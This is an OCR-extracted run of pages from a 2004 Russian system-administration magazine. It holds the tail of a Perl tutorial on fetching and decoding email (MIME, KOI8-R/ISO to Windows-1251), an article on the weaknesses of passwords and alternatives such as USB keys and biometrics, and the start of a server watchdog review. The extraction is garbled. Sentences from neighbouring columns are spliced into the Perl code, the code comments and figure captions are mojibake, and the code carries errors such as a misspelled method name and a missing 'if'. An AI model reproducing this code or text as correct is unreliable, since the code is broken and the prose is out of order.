# ïèñüìî – òîëüêî òåêñò
$bodyCoding = $ent->head-> ↵
mime_attr( 'Content-type.charset' );
$origType = $ent->head-> ↵
get( 'Content-Transfer-Encoding',0 );
$body = $ent->body_as_string;
}
elsif (
$ent->effective_type eq 'multipart/alternative'
and $ent->parts(0)->effective_type eq 'text/plain' )
{
# ïèñüìî, ãäå ïåðâàÿ ÷àñòü ìóëüòèïàð – òåêñò
$bodyCoding = $ent->parts(0)->head-> ↵
mime_attr( 'Content-type.charset' );
$origType = $ent->parts(0)->head-> ↵
get( 'Content-Transfer-Encoding',0 );
$body = $ent->parts(0)->body_as_string;
} 'koi8-r' =>'koi',
elsif (
$ent->effective_type eq 'multipart/alternative'
and $ent->parts(1)->ffective_type eq 'text/plain' )
{ return $src unless ($charsets{lc($charset)});
# ïèñüìî, ãäå âòîðàÿ ÷àñòü ìóëüòèïàðò – òåêñò
$bodyCoding = $ent->parts(1)->head-> ↵
mime_attr( 'Content-type.charset' );
$origType = $ent->parts(1)->head-> ↵
get( 'Content-Transfer-Encoding',0 );
$body = $ent->parts(1)->body_as_string;
} библиотек pvd – Денису Познякову (Denis Poznyakov,
else {next}
chomp $origType;
Чем универсален этот код, так это тем, что в нём проис-
ходят все стандартные MIME-декодировки – Base64 и Quoted-
Printable – и перекодирование из ISO и KOI в Windows-1251.
# Åñëè çàêîäèðîâàíî, äåêîäèðóåì åãî, âî èìÿ ñ÷àñòüÿ
if (lc($origType) eq 'quoted-printable')
{ $body = MIME::QuotedPrint::decode($body); }
if (lc($origType) eq 'base64')
{ $body = MIME::Base64::decode($body); }
$bodyCoding = lc($bodyCoding);
# Ïåðåêîäèðîâêà êèðèëèöû ó òåëà, åñëè íàäî
if ($bodyCoding ne '')
78
{
if ($bodyCoding eq 'koi8-r') {$bodyCoding = 'koi'}
if ($bodyCoding eq 'koi8r') {$bodyCoding = 'koi'}
if ($bodyCoding eq 'iso8859-5') {$bodyCoding = 'iso'}
($bodyCoding eq 'koi8-u') {$bodyCoding = 'koi'}
if ($bodyCoding eq 'koi' || $bodyCoding eq 'iso')
{ $body = encoder($body, $bodyCoding, 'win') }
$subj = join( "",
decode_mimewords(
$ent->head->get('Subject',0)
)
);
$date = $ent->head->get('Date',0);
}
Собственно, все. Переменная $subj содержит тему
письма, $body – тело письма, а $date – дату. Остальные
параметры письма вы сможете легко получить, исполь-
зуя уже подключенные в программе модули.
Теперь вы смело можете сохранить в базе данных по-
лученные результаты. Я, например, сохраняю их таким об-
разом:
use collector;
($r) = Add2Revorum ( \$subj, \$body, \$date );
где модуль collector.pm – часть моего движка сайта, которая
и модуль Storable, пишет её базу (обычные плоские файлы).
О проблеме альтернативной СУБД я напишу в другой
статье. Те, кого это заинтересовало, могут обратиться за
подробностями по интернет-адресу: http://jkeks.far.ru/ret.
Подпрограммы или процедуры, ответственные за пе-
рекодировку:
sub xcode {
# îïðåäåëÿåì êîäèðîâêó è âûçûâàåì ïåðåêîäèðîâùèê, åñëè íóæíî
my ($charset, $src) = @_;
my %charsets = (
'windows-1251' =>'win',
'iso8859-5' =>'iso',
'koi8r' =>'koi',
'koi8-u' =>'koi',
);
return encoder($src, $charsets{lc($charset)}, 'win');
}
Огромная благодарность российскому разработчику
pvdenis@usa.net) – за минимальный код перекодировки
русских символов. Перекодировка основывается на дан-
ных полей письма, тут нет попытки создания какого-либо
анализатора.
sub encoder {
my $enstring = shift; my $cfrom = shift; my $cto = shift;
my %codefunk = (
win => "\xC0\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA ↵
\xCB\xCC\xCD\xCE\xCF\xD0\xD1\xD2\xD3\xD4\xD5\xD6 ↵
\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE\xDF\xE0\xE1\xE2 ↵
\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE ↵
\xEF\xF0\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA ↵
\xFB\xFC\xFD\xFE\xFF",
koi => "\xE1\xE2\xF7\xE7\xE4\xE5\xF6\xFA\xE9\xEA\xEB ↵
\xEC\xED\xEE\xEF\xF0\xF2\xF3\xF4\xF5\xE6\xE8\xE3 ↵
\xFE\xFB\xFD\xFF\xF9\xF8\xFC\xE0\xF1\xC1\xC2\xD7 ↵
\xC7\xC4\xC5\xD6\xDA\xC9\xCA\xCB\xCC\xCD\xCE\xCF ↵

\xD0\xD2\xD3\xD4\xD5\xC6\xC8\xC3\xDE\xDB\xDD\xDF
\xD9\xD8\xDC\xC0\xD1",
iso => "\xB0\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA
\xBB\xBC\xBD\xBE\xBF\xC0\xC1\xC2\xC3\xC4\xC5\xC6
\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0\xD1\xD2
\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE
\xDF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA
\xEB\xEC\xED\xEE\xEF",
dos => "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8A
\x8B\x8C\x8D\x8E\x8F\x90\x91\x92\x93\x94\x95\x96
\x97\x98\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0\xA1\xA2
\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xAB\xAC\xAD\xAE
\xAF\xE0\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA
\xEB\xEC\xED\xEE\xEF",
koi_lc => "tr/\xB3\xE0-\xFF/\xA3\xC0-\xDF/",
koi_uc =>"tr/\xA3\xC0-\xDF/\xB3\xE0-\xFF/",
win_lc => "tr/\xA8\xC0-\xDF/\xB8\xE0-\xFF/",
win_uc =>"tr/\xB8\xE0-\xFF/\xA8\xC0-\xDF/",
alt_lc => "tr/\xF0\x80-\x9F/\xF1\xA0-\xAF\xE0-\xEF/",
alt_uc => alt_lc => "tr/\xF1\xA0-\xAF\xE0- ↵
\xEF/\xF0\x80-\x9F/",
iso_lc => "tr/\xA1\xB0-\xCF/\xF1\xD0-\xEF/",
iso_uc => "tr/\xF1\xD0-\xEF/\xA1\xB0-\xCF/",
dos_lc => "tr/\x80-\x9F/\xA0-\xAF\xE0-\xEF/",
dos_uc => "tr/\xA0-\xAF\xE0-\xEF/\x80-\x9F/",
mac_lc => "tr/\xDD\x80-\xDF/\xDE\xE0-\xFE\xDF/",
mac_uc => mac_lc => "tr/\xDE\xE0-\xFE\xDF/\xDD\x80-\xDF/"
);
if (!$enstring or !$cfrom or !$cto) {return 0}
else {
if ($cfrom ne "" and $cto ne "lc" and $cto ne "uc") {
$_ = $enstring;$cfrom = $codefunk{$cfrom};$cto =
$codefunk{$cto};
eval "tr/$cfrom/$cto/"; return $_;
} неры, расположенные обычно после символов «\n— \n»
elsif (($cfrom ne "") and ($cto eq "lc" or $cto eq "uc")) {
$_ = $enstring; $cfrom = $codefunk{"$cfrom\_$cto"};
eval $cfrom; return $_;
} запрещено».
}
return $enstring;
} вам необходимо будет добавить проверку ключа (напри-
Если вы не поняли, как это работает, поясню. Данный
пример скачивает с почтового ящика все письма, обрабаты-
вает их и передает системе управления базами данных либо
куда-то еще. Этот код является основой описываемой тех-
нологии. Как я и обещал, соблюдена полная кросс-платфор-
менность между Windows и UNUX-системами. Все исполь-
зуемые в скрипте библиотеки легко доступны.
От редактора: в процессе редактирования статьи было
замечено, что тот же самый Outlook Express нечасто ко-
дирует русские буквы в заголовках сообщений. Все это,
конечно, зависит от настроек, но мало кто из пользовате-
лей Outlook занимается дотошной настройкой своего по-
чтового клиента.
Поэтому процедура xcode при работе с такими заго-
ловками не диагностировала необходимость перекодиро-
вания. Немного подумав, была придумана небольшая
модификация. Это не панацея, а скромная попытка пере-
крыть некоторые проблемы – угадать кодировку KOI8-R в
заголовке. Для этого внесем только одну коррективу в
процедуру xcode – чуть усилим проверку:
# çàêîììåíòèðóåì ñòðîêó, âîçâðàùàþùóþ íåèçìåíåííûé
# çàãîëîâîê è ïðîäîëæèì ïðîâåðêó:
# return $src unless ($charsets{lc($charset)});
unless ($charsets{lc($charset)})
{ В свою очередь модуль blogs.pm предоставляет воз-
# åñëè êîäèðîâêà íåîïðåäåëåíà, ñ÷èòàåì âõîæäåíèå
# áîëüøèõ è ìàëåíüêèõ ðóññêèõ áóêâ
$upper = "¨ÉÖÓÊÅÍÃØÙÇÕÚÔÛÂÀÏÐÎËÄÆÝß×ÑÌÈÒÜÁÞ";
$lower = "¸éöóêåíãøùçõúôûâàïðîëäæýÿ÷ñìèòüáþ";
$ucount = eval("\$src =~ tr/$upper/$upper/;");
$lcount = eval("\$src =~ tr/$lower/$lower/;");
№4(17), апрель 2004
web
↵ # åñëè áîëüøèõ áóêâ áîëüøå – ñêîðåå âñåãî ýòî KOI8
# è ìû ïåðåêîäèðóåì ýòî â Windows
↵ return encoder($src, 'koi', 'win') if ($ucount > $lcount);
↵
↵ # èíà÷å, êàê è ðàíåå, âîçâðàùàåì íåèçìåíåííûé çàãîëîâîê
↵ return $src;
↵
}
↵
↵ Собственно, идея основана на том факте, что слово
↵ «Новость» в кодировке KOI будет восприниматься как
↵
↵ «оПЧПУФШ» в кодировке Windows. Прием довольно
спорный, но имеет право на существование. Абсолютно
не применим на больших объемах текста – поверьте на
слово.
Тема безопасности, аутентификация,
вклинивания
Любое письмо, попавшее на ящик, может стать атакой или
просто спамом. Как с этим бороться?
Прежде всего вы можете организовать интернет-рас-
сылку, где сможете управлять регистрацией нужных вам
подписчиков. Обычно в системах рассылки уже встроены
свои собственные механизмы борьбы со спамом.
Описанный выше сценарий также подходит к делу
принципиально. Принимаются только те сообщения, ко-
торые пришли в виде текста. Кроме того, вырезаются бан-
(это – стандарт TheBat). Также скрипт соблюдает логику:
«можно только то, что разрешено», а не «можно то, что не
Если проблемно организовать рассылку, скорее всего
мер, в теме письма должен быть соответствующий иден-
тификатор). Идентификатор отбрасывает почти все про-
блемы с безопасностью, однако это не накладывает огра-
ничения на входящий трафик.
Замечание: если не считать проблемой открытость
передачи самого идентификатора и то, что вставить его в
заголовок может каждый увидевший.
Но самый безопасный вариант – принимать только
текст, зашифрованный или подписанный при помощи про-
грамм семейства PGP. Это также исключит возможность
прочитывания писем при случайном доступе к ящику.
Немного рекламы
Ранее мы коснулись темы хранения данных. Важно пони-
мать, что, кроме простых функций вроде публикации рас-
сылки, со временем функциональность может обрасти свя-
зями с различными разделами, а приходящие данные смо-
гут иметь сложную структуру. Плюс ко всему – не каждый
может себе позволить профессиональный хостинг.
Ради этого всего появилось на свет ядро ret WebOS,
которое (как одно из направлений) предлагает альтерна-
тиву серверу SQL. Код системы минималистичен и для
своей работы требует лишь наличия модуля Storable (ко-
торый входит в стандартную поставку с Perl 5.8).
можность хранить структуры данных любой сложности и
осуществлять к ним доступ как к разделам сайта. Дан-
ные хранятся в плоских файлах. Интернет-адрес проек-
та: http://jkeks.far.ru/ret. Добро пожаловать!
79
образование

В ЧЕМ СЛАБОСТЬ ТВОЯ?

Несмотря на все усилия при построении защиты в компьютерном деле наиболее уязвимым
и наименее предсказуемым остается человек. К сожалению, при работе на компьютере человек
способен только понизить уровень защищенности, если он не выполняет определенных требований
безопасности. Последние примеры схем распространения вирусов по электронной почте (MуDoom,
Bagle и т. д.) показали, что любопытство пользователей активно используется вирусописателями
наряду с эксплуатацией известных уязвимостей программных продуктов и, что это может повлечь
серьезные проблемы для всего сообщества Интернет. Так как проблема человеческого фактора
в вопросах безопасности достаточно объемная, то в данной статье мы остановимся только
на вопросах, связанных с парольной защитой, и даже в рамках этой темы только ее частью –
способом хранения конфиденциальной информации для аутентификации.

МАКСИМ КОСТЫШИН

82

Немного истории
В первой главе своей книги известный компьютерный
взломщик Кевин Митник так описывает подробности про-
никновения в компьютерную систему корпорации DEC.
«…Представившись как Антон Чернофф, который был
одним из ведущих разработчиков проекта, я сделал про-
стой звонок системному администратору. Я притворил-
ся, что не могу зайти через одну из «моих» учетных за-
писей, и был достаточно убедительным, чтобы прика-
зать парню дать мне доступ и позволить выбрать такой
пароль, какой я выберу сам. Во время входа по удален-
ному телефонному доступу пользователь должен дать
также и пароль, что было дополнительным уровнем за-
щиты. Системный администратор сказал мне пароль.
Это слово было «buffoon» (дословно: шут, фигляр), по-
моему, это то, кем он должен был себя почувствовать,
когда понял все, что произошло. Я получил доступ к
RSTS/E – системе разработки DEC. И я вошел не как
рядовой пользователь, а со всеми привилегиями раз-
работчика системы...».
Несмотря на то, что эта история, описанная выше,
случилась в прошлом тысячелетии, XXI век вполне мо-
жет соревноваться по анекдотичности ситуаций, при ко-
торых беспечность пользователей в отношении своих
паролей просто поразительна.
На проходившей в апреле 2003 года в Лондоне выс-
тавке InfoSecurity Europe 2003 (www.infosec.co.uk) ее
организаторы провели ставшее уже традиционным ис-
следование сознательности офисных работников в воп-
росах безопасности. На столичной станции Waterloo под
видом социального опроса предлагалось в обмен на де-
шевую ручку ответить на ряд вопросов, в том числе на-
звать свой пароль, а также определить те критерии, по
которым он формируется. 90% сразу назвали пароль
(для сравнения, 65% – в 2002 году). Заметим справед-
ливости ради, что правдивость ответов никто никогда
выяснить не сможет.
Один из опрошенных вначале отказался назвать
свой пароль, сославшись на требования безопасности,
однако вскоре выяснилось, что в качестве пароля он ис-
пользует имя дочери, а немного позже мнимые социо-
логи смогли выяснить и как ее зовут. Согласно полу-
ченной в ходе исследования статистике часто паролем
являлось слово «password» (12%), а другими популяр-
ными категориями были собственное имя (16%), назва-
ние любимой футбольной команды (11%) и дата рожде-
ния (8%). Два третьих опрошенных дали свой пароль
коллеге (показатель аналогичен 2002 году), а три чет-
верти знали пароли их сослуживцев. Дополнительно к
использованию пароля для доступа к их информации в
компании, две трети использовали тот же пароль вез-
де, включая их персональные банковские счета, цент-
рализованный доступ Web и т.п.
Настораживает то, что некоторые методы взлома, ис-
пользованные Митником в 90-х годах в процессе своей
криминальной деятельности, вполне работают и сегод-
ня. В марте этого года в прессе была опубликована ин-
формация о задержании москвича-мошенника, который
торговал секретными PIN-кодами карточек экспресс-оп-
№4(17), апрель 2004
образование
латы доступа в сети Интернет, при этом часть этих кар-
точек даже не поступала еще в продажу. Как показало
расследование, «все карточки экспресс-оплаты изготав-
ливались в коммерческой типографии. В процессе из-
готовления некоторые карточки получались бракован-
ными и уничтожались ненадлежащим способом, после
чего просто выбрасывались на территории типогра-
фии», – отметили в пресс-службе. Молодой человек
работал в одном из офисов, расположенном на терри-
тории типографии, где и подбирал остатки карточек,
среди которых и были карточки указанной компании, а
также многих других интернет-провайдеров, операто-
ров IP-телефонии и сотовой связи. Собрав и сложив
обрезки, он получил секретные PIN-коды.
Что же делать?
Факты человеческой беспечности будут присутствовать
в нашей жизни всегда. Однако вернемся все же к теме
статьи. Попытаемся ответить на вопрос, что реально
можно предпринять для решения проблем безопаснос-
ти при использовании паролей.
Одно из направлений работы может быть связано с
ужесточением требований административного характе-
ра. Стандартной мерой является введение ограничения
смены пароля через каждые три месяца, полгода, год,
а также установка ограничения на сложность пароля в
политиках безопасности операционной системы или на
уровне домена (для Windows см. «Пароли должны от-
вечать требованиям сложности» или «Passwords must
meet complexity requirements»). При этом помимо иных
требований будет проверяться, не содержат ли пароли
части имени пользователя или не используется ли пос-
леднее в их качестве.
Также обязательным станет наличие заглавных букв,
прописных букв и неалфавитных символов. Кроме того,
будет проводиться проверка соблюдения минимальной
длины пароля – 6 символов.
Можно не сомневаться, что итогом такой профилак-
тической работы по повышению уровня защиты паро-
лей станет практика сохранения паролей на листочке
(возможно, даже для лучшей защиты бумага с паролем
дополнительно будет помещаться в сейф). Кроме того,
администраторы получат дополнительную головную
боль от обращений пользователей, забывших свои па-
роли (не секрет, что некоторые пользователи не помнят
даже своего имени для входа в сеть).
Однако давайте задумаемся о том, в чем же заклю-
чается суть проблемы при работе пользователей с па-
ролем. Для этого сформируем основные свойства па-
роля, которые влекут за собой предпосылки к утечке
конфиденциальных данных:
! Адаптированное для восприятия человеком пред-
ставление. Пароль – это определенная комбинация,
которую человек в состоянии запомнить и соответ-
ственно может забыть или раскрыть кому-либо.
! Возможность копирования. Пароль в его современ-
ном виде может быть продублирован различными
способами, контроль за этими процессами невоз-
можно наладить.
83
 образование
Следовательно, повышение надежности защиты поль-
зователей может обеспечить отсутствие указанных
свойств в ситуациях, когда необходима идентификация
и аутентификация пользователей. Если человек не в со-
стоянии запомнить информацию для доступа в сеть, зна-
чит, он не сможет ее никому раскрыть, даже по принуж-
дению. Если информацию для доступа в сеть невозмож-
но продублировать, значит, владелец и администратор
могут ее гарантированно контролировать. Меньше про-
блем при этом возникает для ситуаций увольнений, ког-
да сотрудник перед своим уходом передает данные
аутентификации администратору корпоративной сети и
гарантированно теряет возможность доступа к корпора-
тивным информационным ресурсам. Далее в статье при-
водится попытка систематизировать информацию о су-
ществующих в настоящее время подходах, которые мо-
гут прийти на смену общепринятым паролям.
USB-ключи
Наиболее перспективной альтернативой паролям оста-
ется использование для аутентификации пользователя
USB-ключей, которые напрямую подключаются к ком-
пьютеру через порт USB (Universal Serial Bus). Размер
таких устройств позволяет носить их в связке с обыч-
ными домашними ключами. Они не требуют дополни-
тельных считывателей, имеют встроенную память 8/16/
32/64 Кб для хранения персональной информации и удо-
стоверений личности, а также независимый процессор
для аутентификации и защиты данных при работе в
сети. Все известные USB-ключи имеют уникальный се-
рийный номер (32/64 бита). Данные на USB-ключе до-
полнительно защищаются с использованием так назы-
ваемого PIN-кода. Кроме того, в функциональность
USB-ключей включен генератор случайных чисел. С
использованием таких устройств можно обеспечить
работу с инфраструктурой открытых ключей – PKI. При
этом весь процесс генерации вашего личного криптог-
рафического ключа, формирование электронной циф-
ровой подписи никогда не выйдет за пределы USB-брел-
ка (в случае аппаратной реализации криптоалгоритмов).
В среднем стоимость USB-устройств составляет 30-50$,
в зависимости от размещенного объема памяти и реа-
лизованных функций.
Ðèñóíîê 1. Èäåíòèôèêàòîð eToken R2
К наиболее часто встречаемым на рынке СНГ USB-
ключам относятся следующие продукты:
! iKey – компании Rainbow Technologies
(http://www.rainbow.msk.ru/);
! eToken – компании «Аладдин»
(www.aladdin.ru).
Заметим, что недавно в прессе появилась информа-
ция о выпуске Rainbow Technologies нового гибридного
устройства под названием RfiKey, совмещающего в себе
84
USB-идентификатор iKey и технологии контроля доступа
в здания с использованием бесконтактных (т.н. proximity)
карт на частоте 125 кГц от HID Corporation в единое уст-
ройство для безопасного доступа в здания и доступа к
защищенным данным.
Несмотря на все свои преимущества USB-ключи об-
ладают и недостатками. Основными проблемами, с кото-
рыми можно столкнуться при использовании USB-ключей,
являются:
! поддержка в USB-ключах государственных криптогра-
фических алгоритмов электронно-цифровой подписи
и шифрования (обычно в USB-ключах и программном
обеспечении поддерживается работа только RSA и
DES-алгоритмов);
! наличие аппаратной реализации криптографических
операций (стойкость системы, построенной на основе
ключей с программной реализацией, на порядок ниже,
т.к. критические операции будут выполняться на ва-
шем компьютере и потребуют извлечения из ключей в
память компьютера секретных данных).
Биометрические устройства
К биометрическим технологиям относятся распознавание
индивидуальных особенностей пальца, рисунка радужной
оболочки глаза, голоса, лица, фигуры человека. Соглас-
но статистике, приведенной ниже, наиболее распростра-
ненным объектом биометрической идентификации пока
остается палец.
Ðèñóíîê 2. Äàííûå Biometric market report 2000-2004
Биометрия – серьезный конкурент USB-ключам, и боль-
шие успехи в этой области ожидались уже в 2003 году.
Однако ряд негативных моментов не позволил прогнозам
сбыться. Одним из основных препятствий развитию рын-
ка биометрических технологий специалисты считают от-
сутствие стандартов в этой отрасли. Серьезным минусом
до последнего времени являлась очень высокая стоимость
изделий (около $150). Недавно в прессе появилась инфор-
мация о том, что компания APC выпустила компактное
устройство персонального биометрического контроля до-
ступа к компьютеру, которое должно появиться в прода-
же в марте 2004 года по цене $50.
Ðèñóíîê 3. USB-óñòðîéñòâî ïåðñîíàëüíîãî áèîìåòðè÷åñêîãî
êîíòðîëÿ äîñòóïà ê êîìïüþòåðó êîìïàíèè APC
Не секрет, что в последнее время биометрией серьез-
но заинтересовались правительства различных госу-

дарств, что может свидетельствовать о хороших перспек-
тивах развития этой отрасли. Вот только краткая инфор-
мация за 2004 год.
Евросоюз
20 февраля Еврокомиссия приняла предложения о вклю-
чении биометрических данных в паспорта граждан Евро-
союза. Согласно этим предложениям, все граждане стран
ЕС, а также иностранцы, пребывающие в ЕС, должны бу-
дут пройти идентификацию 1800 характеристик лица, от-
печатков пальцев для записи их в Шенгенскую Информа-
ционную Систему (SIS II). Аналогичные данные будут за-
писаны в микрочип на паспортах.
Россия
МВД России приступило к разработке новых загранпас-
портов, содержащих биометрические данные. Основное
их отличие от ныне действующих заключается в том, что
документы нового поколения будут содержать в электрон-
ной форме сведения о биометрических данных их владель-
цев. На сегодняшний день в качестве биометрических
данных, подлежащих обязательному внесению в загранич-
ные документы, странами «восьмерки» предварительно
определены закодированное изображение лица и отпе-
чатков пальцев их владельцев.
США
Программа VISIT, представленная Департаментом внут-
ренней безопасности США, требует от всех претендентов
на въездную визу иметь биометрическую информацию в
паспортах к октябрю 2004 года.
Британия
Предполагается, что будет создана централизованная
база данных обо всех жителях Соединенного Королевства
и введены обязательные биометрические идентификаци-
онные карты, которые должны будут включать рисунок ра-
дужной оболочки глаза, отпечатки пальцев или ладони.
На первом этапе планируется включить биометрическую
информацию в паспорта и водительские удостоверения
граждан Британии. Кроме того, предполагается выдача
идентификационных карточек гражданам ЕС и другим
иностранным гражданам, проживающим в Великобрита-
нии. Идентификационные карты будут также предлагать-
ся в качестве дополнительного документа гражданам, не
имеющим паспорта или водительского удостоверения.
Китай
Новые паспорта граждан должны включать информацию
о рисунках отпечатков пальцев и сетчатки глаза. Помимо
этого предполагается, что удостоверение личности будет
содержать 18-битный код с генетической информацией о
владельце. Для перехода на новые паспорта Китаю, по
оценкам официальных лиц, понадобится пять-шесть лет.
К недостаткам технологии биометрической аутентифи-
кации можно отнести пока еще высокую стоимость таких
изделий, а также необходимость дополнительного устрой-
ства считывания биометрических данных, что является оп-
ределенным неудобством при использовании.
№4(17), апрель 2004
образование
Другие типы устройств, которые могут
использоваться для авторизации
пользователей
Смарт-карты (микропроцессорные карты). Технология
использования смарт-карт по своим внутренним функ-
циям аналогична технологии USB-ключей, описанной
выше. Отличие заключается только в том, что получе-
ние данных из смарт-карт предполагает наличие еще и
считывателя, который может быть встроен в клавиату-
ру, подключен к COM, LPT или USB-порту. Соответствен-
но наличие считывателя влечет за собой как удорожа-
ние проектов (стоимость считывателя составляет около
$50, микропроцессорной карты – $5-20), так и вносит
неудобства в процесс непосредственного применения.
Ðèñóíîê 4. Ìèêðîïðîöåññîðíàÿ êàðòà CryptoFlex è óñòðîéñòâî
÷òåíèÿ/çàïèñè ñìàðò-êàðò â âèäå FDD ACF30
iButton – разработка компании Dallas Semiconductor.
Модельный ряд идентификаторов iButton довольно ши-
рок и разнообразен. iButton представляет собой микро-
схему, вмонтированную в герметичный стальной корпус.
Корпус отдаленно напоминает батарейку для наручных
часов и имеет диаметр 17,35 мм. Для передачи инфор-
мации в компьютер используется считыватель, который
может подключаться на COM, LPT или USB-порт компь-
ютера. В конце 1990-х устройство достаточно широко ис-
пользовалось для хранения конфиденциальных данных
при разработке различных криптографических аппарат-
но-программных средств.
Ðèñóíîê 5. Ñòàíäàðòíûé âèä iButton
Несмотря на серьезные характеристики по надежно-
сти и малую стоимость устройства iButton не нашли ши-
рокого применения для аутентификации пользователей
из-за небольшой емкости памяти (Кб информации), не-
обходимости считывателя, зависимости его срабатыва-
ния от точности ручного соприкосновения идентифика-
тора и считывателя, осуществляемого вручную.
RFID-устройства (Radio Frequency Identification – ра-
диочастотная идентификация) – устройства, аналогич-
ные которым часто используют в системах контроля до-
ступа и больше известны как proximity-карты. До настоя-
щего времени RFID-технология не нашла применения при
аутентификации пользователей компьютеров, однако ак-
тивный интерес со стороны потребителей, а также раз-
витие технологий в этой сфере может привести к тому,
что широкое распространение таких устройств в нашей
жизни позволит найти применение в сфере компьютер-
ных технологий.
85
 образование
RFID-устройства представляют собой крохотную мик-
росхему (разработка японской компании FEC Inc. – RFID-
чип Manathir занимает площадь в половину квадратного
миллиметра, стоимость около 10 центов), которая обыч-
но не имеет собственного источника питания, но наде-
лена памятью и антенной. В памяти обычно записан не-
кий уникальный номер («идентификатор»), либо набор
информации, хранящий полезные сведения о том пред-
мете, на который помещен данный чип, а антенна слу-
жит для улавливания сигнала внешнего, расположенно-
го от десятков сантиметров до нескольких метров, счи-
тывающего устройства – радиосканера и передачи от-
вета с использованием энергии принятых электромагнит-
ных волн. RFID-технология разрабатывалась в качестве
замены устаревшему штрих-кодированию.
Применение RFID-устройств позволяет маркировать
товары в магазинах розничной торговли, использовать
при изготовлении банкнот и документов, имплантация в
человеческие органы или использование других мето-
дов помещения подобных устройств на человека для кон-
троля его перемещения.
Ðèñóíîê 6. ×èï, èìïëàíòèðóåìûé ïîä êîæó ÷åëîâåêà, øïðèö äëÿ
åãî ââîäà è ñêàíåð VeriChip ïðîèçâîäñòâà àìåðèêàíñêîé êîð-
ïîðàöèè Applied Digital Solutionsè (ADSX)
К недостаткам RFID-систем относят слабую элект-
ромагнитную защищенность (недавно компания RSA
Security, продемонстрировала опытный образец систе-
мы Anti-RFID, позволяющей эффективно «глушить» ра-
диосканеры RFID) и высокую стоимость (на отечествен-
ном рынке идентификаторы в зависимости от типа сто-
ят от 1,3 до 5 долл., цена считывателей может превы-
шать $150).
О внедрении стандартов TCPA
В архитектуру персональных компьютеров, которая была
разработана в 1980-х, не закладывались серьезные тре-
бования к вопросам безопасности (предполагалось, что
компьютеры будут работать под управлением однополь-
зовательской операционной системы, а подключение к
Интернету даже не обсуждалось). Проблемы безопасно-
сти в основе компьютерных решений требовали принци-
пиально новых решений, и в 1999 году был создан про-
мышленный консорциум, объединивший свыше 100 тех-
нологических компаний, известный как Trusted Computing
Platform Alliance – TCPA (http://www.trustedcomputing.org),
определивший аппаратные дополнения к архитектуре
персональных компьютеров, которые должны исправить
некоторые недостатки безопасности. В мае 2003 года
компания была реорганизована в новую отраслевую
группу Trusted Computing Group (TCG), функции кото-
рой расширились на все виды программного и аппарат-
86
ного обеспечения, от компьютеров до PDA и сотовых
телефонов. Результатом деятельности TCPA стали пер-
вая в мире BIOS, поддерживающая спецификацию TCPA
1.0 компании American Megatrends Inc. (AMI); процессор
Prescott от Intel, в котором заявлена встроенная систе-
ма защиты информации La Grande. У Microsoft есть свой
Palladium, у VIA – Padlock. Несомненно, что определен-
ный промежуток времени понадобится производителям
программного обеспечения для того, чтобы поддержать
аппаратные реализации спецификации TCPA на уров-
не операционной системы. Возможно, что в течение бли-
жайших лет персональные компьютеры, удовлетворя-
ющие требованиям TCPA, появятся в продаже. Тенден-
ции решения вопросов безопасности на аппаратном
уровне, несомненно, окажут влияние на весь спектр
решений по компьютерной защите и скажутся на даль-
нейшем развитии технологий аутентификации пользо-
вателей.
Некоторые итоги
Активно используемая парольная защита пользовате-
лей не удовлетворяет возросшим требованиям компь-
ютерной безопасности. Пароль становится слабым зве-
ном системы защиты и требует замены. В настоящее
время, когда необходимо обеспечить достаточный уро-
вень безопасности при аутентификации пользователей,
альтернатив USB-ключам нет. Указанные устройства
предлагают максимально возможный уровень комфор-
та для работы пользователей, а также гарантирован-
ный уровень безопасности при использовании схемы
хранения и обработки личных секретных данных вне
компьютера. Однако успехи в биометрической облас-
ти, снижение себестоимости биометрических устройств
аутентификации, а также развитие других технологий
могут позволить через 2-3 года определить других ли-
деров для решений в области альтернатив парольной
аутентификации пользователей.
Источники информации:
1. «Первая (отсутствующая) глава книги Кевина Митни-
ка», Компьютерная газета №1 (12 января 2004 г.)
http://msk.nestor.minsk.by/kg/2004/01/kg40123.html;
2. «Office workers give away passwords for a cheap pen»,
J.Leyden
http://212.100.234.54/content/55/30324.html;
3. «Как лучше потерять пароль», В.Демидов, Газета «Ком-
пьютерные Вести», №28, 2001 г.
www.kv.by/index2001282201.htm;
4. «Новое лицо идентификационных устройств», Э.Кларк,
Журнал «LAN», №09, 2000 г.
http://www.osp.ru/lan/2000/09/059.htm;
5. «Аппаратно-программные средства контроля доступа»,
В. Шрамко, «PCWeek/RE», N9, 2003 г.
6. «A Security Analysis of the Secure Electronic Registration
and Voting Experiment (SERVE)», January 20, 2004 г.
http://www.servesecurityreport.org/;
7. «Защита подождет?», В.Соболев, Журнал «Мир ПК»,
№02, 2004 г.
http://www.osp.ru/pcworld/2004/02/028.htm.
hardware

СТОРОЖЕВОЙ ПЕС

АНДРЕЙ БЕШКОВ

88
 hardware
На прошлой неделе редакция нашего журнала попросила
меня провести тестирование в боевых условиях устройства
watchdog, предназначенного для мониторинга и восстанов-
ления работоспособности зависших серверов через прину-
дительный перезапуск. На первый взгляд такое устройство
имеет немного шансов для массового применения, так как
любой сервер априори задумывается как сущность, которая
должна работать круглосуточно и бесперебойно. Многие
системные администраторы гордятся тем, что под их коман-
дованием есть сервера, которые функционируют без пере-
загрузки по 360 дней и более. В то же время серверные опе-
рационные системы специально разрабатываются с прице-
лом именно на такой режим использования. Хотя, судя по
моему опыту эксплуатации разнообразных серверных сис-
тем, это еще ничего не значит, и как показывает практика,
вместо исправленных ошибок постоянно находятся новые.
К сожалению, на свете не существует безошибочных про-
грамм, плюс ко всему довольно часто на сервере работают
службы, написанные сторонними производителями. А это в
свою очередь также добавляет в систему нестабильности.
Учитывая то, что мы живем в неидеальном мире, часто скла-
дывается ситуация, когда сам сервер настроен не очень пра- Далее идет шнур RS232 для подключения к COM-пор-
вильно из-за недопонимания основ функционирования сис- ту компьютера. Два дополнительных провода бледноро-
